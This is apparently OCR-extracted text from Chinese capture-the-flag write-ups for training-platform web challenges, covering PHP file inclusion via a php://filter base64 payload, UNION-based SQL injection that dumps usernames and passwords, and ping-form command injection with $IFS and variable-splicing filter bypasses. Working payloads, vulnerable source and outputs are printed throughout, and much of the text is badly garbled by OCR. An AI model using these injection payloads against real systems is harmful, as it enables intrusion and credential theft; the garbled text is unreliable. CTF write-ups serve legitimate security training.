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<html>

<style type="text/czs” »
Hmaster |
position:absolute:
left:44%;
bottom:0;
text-align :center;

p,hl {

1
<fstyler

cursor: default;

<head>
{meta charset="utf-8">
<title FERRIREIRET ritle>
</head>

<body style="backzround-color:black; “><brr<brr<brr<brr<brr<dry
<hl style="font-family:verdana:color:red: text-align:center: > REFNEFIREAIE L T h<bri<br><bry
ant-size:20px; text-alizn:center; EBANETLAGHR, E3RE! H—MEHIEHRET ! o>

style="background-color :#000000; height : Tlpx; width:200px  color:black; left:44% cursor:default; “>0h! Tou found me</a>
‘width: O0%: “><p alizn="center” style="font:italic 15px Georgia, serif;color:vhite: > Syclover @ cldy</p></div>

<p style="font-famil
<a id="master” href=
<div style="position ™=
<fody>
<html>

5 1] Archive_room.php

INa_lInA_741

{H 2 5 A i SECRE T4V [laction.php, 2R )5 B34 T /2end.php4i ki |



sdn.net/LiNa_lInA_

H e Hburpsuite ML 1, JUELI % A I 3028k 4% B H:, 1R 7 —1>secr3t.php

m ‘n Actions W Pretty m Render \n  Actions W

GET Jaction.php HTTP/1.1 T HTTPA1.1 302 Found
Host: cSdf8f67-B682-44bf-9c¢70-6d5ad99451e6. nodeld. buuoj. en 7 Server: openresty
Upgrade—|nsecure-Requests: 1 3 Date: Thu, 03 Jun 2021 04:48:37 GMT
User—-Agent: Mozilla/5.0 Windows NT 10.0; Wintd; xod) I Content-Type: text/html; charset=UTF-8
ApplefebKit/537. 36 (KHTML, |ike Gecko) Chrome/90.0. 4430 212 5 Connection: close
Safari/537. 36 & Location: end. php
Accept : X-Powered-By: PHP/7. 3. 11
text/html, application/shtml+xm|, application/xml;q=0.9, image/avif, image 5 Content-Length: 63
/webp, image/apng, ¥/%;4=0. B, app | ication/signed-exchange;v=b3;g=0.9 9
Referer: 10 <IDOCTYPE html>
http://c5dfBf67-8682-44bf-Fc70-6d5ad99451 eb. nodel. buuoj. en/Archive_roo 11
m. php 12 <html>
Accept-Encoding: gzip, deflate 13 ¢!
5 Accept-Language: zh-CN, zh;q=0.9 '1[ secrit. php ]
Connection: close 15 )
CAhtml >

B Fsecr3tphp, % FlphpfthL

GET /end. php HTTP/1.1

? Host: c5df8f67-8682-44bf-9c70-6d5ad99451e6. node3. buuoj. cn
Upgrade-Insecure-Requests: 1

+ User-Agent: Mozilla/5.0 (Windows NT 10.0; Wintd; xo6d)
ApplelebKit/537, 36 (KHTML, |ike Gecko) Chrome/90.0.4430.212
Safari/537. 36

Accept:

text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, image

/webp, image/apng, */*;q=0. 8, app| ication/signed-exchange;v=h3;g=0.9 scristr($file tp" stristr(§file stristr(§file,"data"
4 Referer:

http: //c5dfBf67-8682-44bf-9c70-6d5ad99451e6. node3. buuoj. en/Archive_roo

m. php

Accept-Encoding: gzip, deflate
8 Accept-Language: zh-CN, zh:q=0.9
Connection: close

RS, Fflaghi Fflag.php, i3 7 .. /HEEN . tp. input. data, 1EIFfEfday11idfilter, #yifipayload: secr3t.php?
file=php:/ffilter/read=convert.base64-encode/resource=flag.php
= Fbase644fi%flag.php



<html>
<titlersecret</title>
<meta charset="UTF-3">
<Tphp
highlight_file(_FILE_),
error_reporting (0)
$file=3 GET[ file'];
if(stratr($file, “.. /") | |stristr($file, “tp”)||stristr($file, “input”™) | |stristr($file, “data™)) {
echo “Oh no!”;
exit();

_include(§tilel
/7 t1lagfITE T flag. phpE
Fod

btnl>
PCFETONUWVBFIGhObWw +Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICABbWVOYSBjaGFyc2VOPS)1dGYtOCI +CiAgICAgICAgPHRpdGxIPkZMQUCBL3RpdGy

i3 Flfag: flag{62aab2e4-1a85-4138-8565-d7574359d6¢7)

mFtaWx50mFyaWFsO2NvbGOyOnJIZDtmb250LXNpemUEM|BweDt0ZXhOLWFsaWduOmNIbnRIcjsiPgoglCAgICAgQICAgICABP3BocAogICAgICAgICAGICA
gICAgZWNobyAi50iRbbCx5Zyo6L+Z6YeMIjskKICAgICAgICAgICAgICAgICRmbGFNID0gJ2ZsYWd7NjJhYWIyZTQIMWE4NSOOMTM4LTg1NjUtZDc1NzQzN

TIKNmMM3FSc7CiAgICAgICAgICAgICAgICAkc2VjemV0IDOgJ2ppQWSNnX0x1eXVhblg3NG50c19hXx2cxckimemkzbmQnCiAgICAgICAgICAgID8+CiAgiCAgICA
gPCOwPgoglCAgPC9ib2R5PgoKPC90dG1sPgo=

~
BIEEIER : O3 Orex BIER : S0 v BXR@: UTRs v
<p style="font-family:arial;color:red; font-size:20px;text-align:center; ">
<?php
scho "HEFUEIXE";
SAELEEEN ] g {62aab2ed-1a85-4138-8565-d7574359d6c7 } N
$secret = 'JiAng Luyuan w4nts_a glrIfri3nd’
7>
</p>
</pody> EiERES - [Utre]
#UBKEE : 653 Byles
</html> TLEy 18, R - 2
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1' order by 3

1' union select 1,2,3

1' union select 1,2,group_concat(schema_name) from information_schema.schemata

1' union select 1,2,database()

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()



N, Hello'2!™ -
: ;i%_ur password is 'geekuser,|0ve1ysq1’

https:/blog.csdn.net/LiNa_lInA_741

N Heflo2!™ O
i ;?éur péﬂsiswé[d is'id,username,passwor

-+ = - S

At

EFREE

https://blog.csdn.net/LiNa_lInA_741

7. 1R

1' union select 1,2,group_concat(id,username,password) from "~ l@velysql"




Hello 2! A
Your passwordis .
"1cldywo fai- nan le ZQIz;_mgIza.l n-wg

Et’sha glrlfrlend 3Z4cHAr7z
5976-4804- 97de-be076986676b e

Ll

BARAT, AAEHEARN, FIfag: flag{abf85ac6-5976-4804-97de-be070e8667cb}

iwiT @

<html>
<head>
<meta charset="UTF-8">
<titledcheck</title>
</head>
{div style="position: absolute;bottom: 0:;width: 99%:“><p alizn="center” style="font:italic 15px Georzia, serif;color:iwhite: > Syclover @ cldy</p></div>
style= backgrmumd-repeat:no-repeat background-size:100% 100%: background-attachment: fixed; >

<hl style=" font-family:verdana;color:red; text-alizn:center;’ *Login Success! </ hl»<br><brr<br>
Lfbry

<body backzround=’

. fimage/background. jpg’
<brr<briibry

{p style= font-family:arial color:#ffffff; font-size:30px; left:A50px position:absolute; »Hello 2! </pr</br></br>
{p style= font-family:arial color:#ffffff; font-size:30px; left:650px position:absolute;

>Your password is
"1cl4ywo_tai_nan_le, 2glzjinglziin_wants_a_girlfriend, SZELCHAr?zCrbmo_ge dddd, hm, 40xC4m3111nux _chuang_shi_ren, SAyraina_rua_rain, 6ikkovan_shi_fu_de_mao_bo_he
, Tfoucheldy, 8fouchdi_2_kuai_fu_ji, 9fouchdi_3_kuai

nai_fu_ji, 12fouchdi_6_kuai_fu_ji, 13fouchbdi_7_kuai_fu_ji, 14fouch
di_8 kuai_fu_ji, 15leixianSyc_san_da_hacker, 16fladflag [a5f35ach-5976-4804-97de-belT0e8867cb} ] </p>
<fbody >
<html >
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PING 127.0.8.1 (127.2.8.1): 56 data bytes

2. 127.0.0.1 | whoami #4745 Fwww-data

PING

S\ R EpingAUthht
PING
wiww-data

3. 127.0.0.1 | 1s, FZFlindexphp

PING

IEHIA T Eping B

PING
index.php

4. 127.0.0.1 | cat index.php ., A EFISE Blsystem()e& %, PATHNERRE, I H o

</head>
<body>

<h1>PING</hl>
<form class="form-inline” method="post™>

{div class="input-zroup” >
{Anput style="width:280px; " id="tarszet” type="text” class="form-control” pl
<fdivy
<hrd >
<hrd >

<putton style="width:280px: " class="btn btn-default” >PING</button’

</ forms
b S <nre
<php
if (isset(3_POST[ target’ 100 {
system(ping -« 3 7. 3_POST[ tarzet’ 1)
)

T
<prex</body>
<Shtml > prer < hodyy

Sl




Tuf LLLLLL -

5. 127.0.0.1 | 1s ../

html
localhost

127.0.0.1 | 1s ../../

cache
empty
lib
local
lock
log
mail
opt
run
spool
tmp

127.0.0.1 | 1s ../../../

bin
dev
etc
P —
l flag I
R——
home
lib

media

opt
proc
root
run
sbin
srv
sSys
tmp
usr

vanr
127.0.0.1 | cat ../../../flag 3 Flflag: flag{c337bf77-d054-4cb6-acb8-2d09ac4220d1}

PING

IEHIA T Eping B



PING

flag{c337bf77-d854-4cb6-acbhB8-2dB9acd422841}
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1. 19 2&20p=, #iA127.0.0.13 [Alpingfir & AT S5 AL, kT LLar & 447

< C A T2 | wiEiieif -ieiliesinbiebhiinitiltistansiniemon/ip=127.0.0.1

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes

2. ?ip=127.0.0.1|1s

< C A FZ=£ | 2a630d89-1063-43af-8a00-55f7e06107af.node3.buuoj.cn/?ip=127.0.0.1|ls

/?ip=

flagz. php
index. phy

Vi il flag.php

< C A 2% | 2a630d89-1063-43af-8a00-55f7e06107af.node3.buuoj.cn/flag.php



?/ip=127.0.0.1|cat flag.php

< C A FZ% | 2a630d89-1063-43af-8a00-55f7e06107af.node3.buuoj.cn/?ip=127.0.0.1|cat%20flag.php

/?ip= fxck your space!

4. $IFS (Internal Field Separator, WHBFBrFafr) , BUIAZZME, WTLHEBMRTMH, “OREGSNWERIT, 6%

fir & HH 4 R 2 VR N AT

?/ip=127.0.0.1|cat$IFS 1s”

/?ip=

f9ip=
PV VO INDIN T IS TN /7, $ip, Smateh)) |
echo pres_match (™G N 1V e NV Dz 1003 4 200 T 1 VPO D VDIV T I TS 47, $ip, $mateh)
die("fxck your symbol!”™):
} else iflpres_match(”/ /%, $ip)){
die("fxck your space!”);
} else iflpres_match(”/bash/”, 3ip)i{
die("fxck your bash!™);
} else ifl(pres_match(”/. *f, *1, #a, 2, */7 Fip)){
die("fxck your flag!™);

}
$a = shell_exec("ping -< 4 . $ip);
echa ”

i

Iprint_r($a);

T

FEEEIFAMH A MAag: flag{bdc03ce7-f239-4914-9235-cb1abc1b674b}, K Aflag.phpic X T A8 Eflag, AL & A T
AR

5. BiH M B B TTik

?/ip=127.0.0.1;a=g;cat$IFS$1flasa.php




<« C A TZ=£ | 2a630d89-1063-43af-8a00-55f7e06107af.node3.buuoj.cn/?ip=127.0.0.1;a=g;cat$IFS$ 1fla$a.php

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes

(w ﬂ Elements Console Sources Network Performance Memaory Application Security Lighthouse
Page  Filesystem » : | [[4 ?ip=127.0.0.1;a...IFS$ 1flafa.php X
v D top 1 /?ip=

v ) 22630d89-1063-43af-8a00-557e 2 <pre»PING 127.9.8.1 (127.8.9.1): 56 data bytes

. ?ip=127.0.0.1;a=g;cat$IFS$ 1fla

R S|

(X HIERAHMRIZA$1, shell A — NS, I EAAINS Vs B S 2ae 5 A 25 flag)
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